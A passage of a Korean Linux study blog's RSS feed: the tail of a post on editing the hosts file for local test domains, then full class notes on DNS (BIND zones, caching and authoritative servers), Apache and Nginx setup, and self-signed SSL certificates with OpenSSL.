&lt;pre id=&quot;code_1775434597998&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;```
가장 중요한게 있는데 바로 hosts파일을 반드시 수정해줘야 합니다.
C:\Windows\System32\drivers\etc\hosts
172.16.X.X   web.local
172.16.X.X   ftp.local
172.16.X.X   dns.local
nslookup 본인사이트도메인 그다음에 이거 반드시 테스트 터미널에서
```&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;css&quot; style=&quot;color: #eaecf0;&quot;&gt;&lt;code&gt;[서버IP]    test.com
[서버IP]    www.test.com&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 교훈&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;호스트 파일을 수정해야 도메인이 잘된다.&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>리눅스</category>
      <category>리눅스 # rocky # dns</category>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/37</guid>
      <comments>https://palantirops.tistory.com/37#entry37comment</comments>
      <pubDate>Thu, 2 Apr 2026 19:57:54 +0900</pubDate>
    </item>
    <item>
      <title>[Linux] 리눅스 6주차 DNS, Apache, Nginx, SSL 수업정리</title>
      <link>https://palantirops.tistory.com/36</link>
      <description>&lt;h1&gt;리눅스 6주차 &amp;mdash; DNS, Apache, Nginx, SSL 완벽 정리&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 주는 DNS 서버 구축부터 웹 서버(Apache/Nginx) 운용, 그리고 SSL 인증서 적용까지 다뤘습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. DNS 기초 명령어&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;nslookup &amp;mdash; 도메인 IP 조회&lt;/h3&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;# 기본 사용 (시스템 기본 DNS 서버 사용)
nslookup www.naver.com

# 특정 DNS 서버(1.1.1.1, Cloudflare)를 지정해서 조회
nslookup www.naver.com 1.1.1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PTR 레코드란?&lt;/b&gt;&lt;br /&gt;일반 DNS는 &quot;도메인 &amp;rarr; IP&quot;를 조회하지만, PTR 레코드는 반대로 &quot;IP &amp;rarr; 도메인&quot;을 알아내는 &lt;b&gt;역방향 조회(Reverse Lookup)&lt;/b&gt; 에 사용됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Caching Name Server (캐싱 네임서버)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Caching Name Server&lt;/b&gt;는 클라이언트의 DNS 질의를 대신 수행(재귀 질의)하고, 응답 결과를 &lt;b&gt;TTL(Time To Live)&lt;/b&gt; 시간 동안 캐시에 저장합니다. 덕분에 같은 질의가 반복될 때 빠르게 응답할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설정 파일 수정&lt;/h3&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;vi /etc/named.conf        # named 메인 설정파일 편집 (포트 등 수정)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;방화벽 및 포트 확인&lt;/h3&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;firewall-cmd --list-all   # 방화벽 규칙 전체 확인
netstat -ntlp             # 현재 열려 있는 포트 및 프로세스 확인
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;DNS 설정 디렉터리&lt;/h3&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;cd /var/named             # zone 파일들이 위치하는 디렉터리
tail /etc/named.conf      # 설정 파일 끝부분 확인
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;특정 캐싱 네임서버로 dig 질의&lt;/h3&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;# 특정 서버(@IP)를 지정해서 DNS 질의
dig @192.168.80.60 www.google.com
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. Authoritative DNS (권한 네임서버)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Authoritative DNS&lt;/b&gt;는 특정 Zone의 &lt;b&gt;원본 데이터를 직접 보유&lt;/b&gt;하고 있어, 다른 서버에 묻지 않고 직접 정답을 내려주는 서버입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Zone&lt;/b&gt;: DNS 서버가 관리하는 도메인 단위&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Type 종류&lt;/b&gt;: master(주 서버), slave(보조 서버), hint(루트 서버 안내)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Zone 파일 작성 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/var/named/ 디렉터리에 zone 파일을 생성합니다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;$TTL 86400
@   IN  SOA ns1.example.com. admin.example.com. (
        2026022101  ; 시리얼 번호 (날짜 기반으로 관리)
        3600        ; Refresh
        900         ; Retry
        604800      ; Expire
        86400       ; Minimum TTL
)

    IN  NS  ns1.example.com.

ns1 IN  A   192.168.80.53
www IN  A   192.168.80.100
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;named 재시작 및 조회 확인&lt;/h3&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;systemctl restart named

# 특정 네임서버에 조회해서 결과 확인
nslookup www.example.com 192.168.4.131
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. CNAME 레코드&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CNAME(Canonical Name)&lt;/b&gt; 은 도메인에 별칭(Alias)을 붙이는 레코드입니다.&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;; www.example.com을 실제 도메인인 example.com의 CNAME으로 설정
www IN CNAME example.com.
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. named-chroot (보안 격리)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;named-chroot는 &lt;b&gt;chroot 기술&lt;/b&gt;을 활용해 named 프로세스의 루트 디렉터리를 제한하는 보안 설정입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;효과 설명&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;접근 범위 제한&lt;/td&gt;
&lt;td&gt;지정된 디렉터리 외부 접근 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시스템 보호&lt;/td&gt;
&lt;td&gt;전체 파일시스템 접근 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;피해 최소화&lt;/td&gt;
&lt;td&gt;침해 발생 시 영향 범위를 격리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. Apache vs Nginx 비교&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구분 Apache Nginx&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;작동 방식&lt;/td&gt;
&lt;td&gt;프로세스/스레드 기반&lt;/td&gt;
&lt;td&gt;이벤트 기반 (Event-Driven)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;비유&lt;/td&gt;
&lt;td&gt;손님마다 새 직원 배치&lt;/td&gt;
&lt;td&gt;한 명이 여러 테이블 동시 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장점&lt;/td&gt;
&lt;td&gt;다양한 모듈, 안정적&lt;/td&gt;
&lt;td&gt;적은 메모리로 대규모 접속 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;단점&lt;/td&gt;
&lt;td&gt;접속 폭주 시 무거워짐&lt;/td&gt;
&lt;td&gt;동적 콘텐츠 처리 다소 까다로움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;주 용도&lt;/td&gt;
&lt;td&gt;복잡한 기능의 웹사이트&lt;/td&gt;
&lt;td&gt;대규모 서비스, 리버스 프록시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. Apache 웹 서버 설정&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;서비스 시작&lt;/h3&gt;
&lt;pre class=&quot;bash&quot;&gt;&lt;code&gt;systemctl enable --now httpd   # 부팅 시 자동 시작 + 즉시 시작
systemctl status httpd         # 상태 확인
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기본 웹 페이지 작성&lt;/h3&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;vi /var/www/html/index.html
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Apache Web Server&amp;lt;/h1&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;가상 호스트(Virtual Host) 설정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 도메인을 하나의 서버에서 운영할 때 사용합니다.&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;vi /etc/httpd/conf.d/exam.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;apache&quot;&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
    ServerName exam.com
    ServerAlias www.exam.com
    DocumentRoot /var/www/html/exam
&amp;lt;/VirtualHost&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설정 파일 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일/디렉터리 역할&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;/etc/httpd/conf/httpd.conf&lt;/td&gt;
&lt;td&gt;메인 설정 파일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/etc/httpd/conf.d/*.conf&lt;/td&gt;
&lt;td&gt;가상 호스트 및 추가 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/etc/httpd/conf.modules.d/*.conf&lt;/td&gt;
&lt;td&gt;모듈 로드 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. Nginx 웹 서버 설정&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Apache 중지 후 Nginx 시작&lt;/h3&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;systemctl stop httpd       # Apache 중지 (포트 충돌 방지)
systemctl start nginx      # Nginx 시작
systemctl status nginx     # 상태 확인 (active 확인)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;9. SSL 인증서 적용 (HTTPS)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;9-1. 사설 인증서 생성 (Nginx 기준)&lt;/h3&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;# SSL 디렉터리 생성
mkdir -p /etc/nginx/ssl

# 1단계: 개인키(Private Key) 생성
openssl genrsa -des3 -out /etc/nginx/ssl/test.com.key 2048

# 2단계: 인증서 발급 신청서(CSR) 생성
openssl req -new -key /etc/nginx/ssl/test.com.key -out /etc/nginx/ssl/test.com.csr

# 3단계: 1년짜리 자체 서명 인증서(.crt) 발급
openssl x509 -req -days 365 \
  -in /etc/nginx/ssl/test.com.csr \
  -signkey /etc/nginx/ssl/test.com.key \
  -out /etc/nginx/ssl/test.com.crt

# 4단계: 키에서 패스프레이즈(비밀번호) 제거 (Nginx 자동 로드를 위해)
openssl rsa -in /etc/nginx/ssl/test.com.key -out /etc/nginx/ssl/test.com.key
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;패스프레이즈 제거 이유&lt;/b&gt;: Nginx는 서버 시작 시 키 파일을 자동으로 읽어야 하므로, 비밀번호가 걸려 있으면 부팅 시 수동 입력이 필요해집니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;9-2. Nginx HTTPS 가상 호스트 설정&lt;/h3&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;vi /etc/nginx/conf.d/vhost.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;nginx&quot;&gt;&lt;code&gt;server {
    listen 443 ssl;
    server_name www.test.com;

    # 인증서와 키 파일 경로
    ssl_certificate     /etc/nginx/ssl/test.com.crt;
    ssl_certificate_key /etc/nginx/ssl/test.com.key;

    # 웹 콘텐츠 경로
    root  /var/www/test;
    index index.html;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;9-3. 설정 적용&lt;/h3&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;nginx -t               # 문법 오류 검사 (먼저 꼭 확인!)
systemctl restart nginx

# 방화벽에 HTTPS(443) 허용
firewall-cmd --permanent --add-service=https
firewall-cmd --reload
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주제 핵심 내용&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;nslookup, dig로 조회 / Zone 파일로 직접 도메인 등록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Caching NS&lt;/td&gt;
&lt;td&gt;재귀 질의 후 결과를 TTL 동안 캐시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authoritative NS&lt;/td&gt;
&lt;td&gt;Zone 원본 데이터 보유, 직접 응답&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apache&lt;/td&gt;
&lt;td&gt;프로세스 기반 / VirtualHost로 다중 도메인 운영&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nginx&lt;/td&gt;
&lt;td&gt;이벤트 기반 / 대규모 트래픽에 유리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSL&lt;/td&gt;
&lt;td&gt;openssl로 사설 인증서 생성 &amp;rarr; Nginx에 443 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description>
      <category>리눅스</category>
      <category>linux # dns # nginx #ssl # apache</category>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/36</guid>
      <comments>https://palantirops.tistory.com/36#entry36comment</comments>
      <pubDate>Fri, 13 Mar 2026 14:41:40 +0900</pubDate>
    </item>
  </channel>
</rss>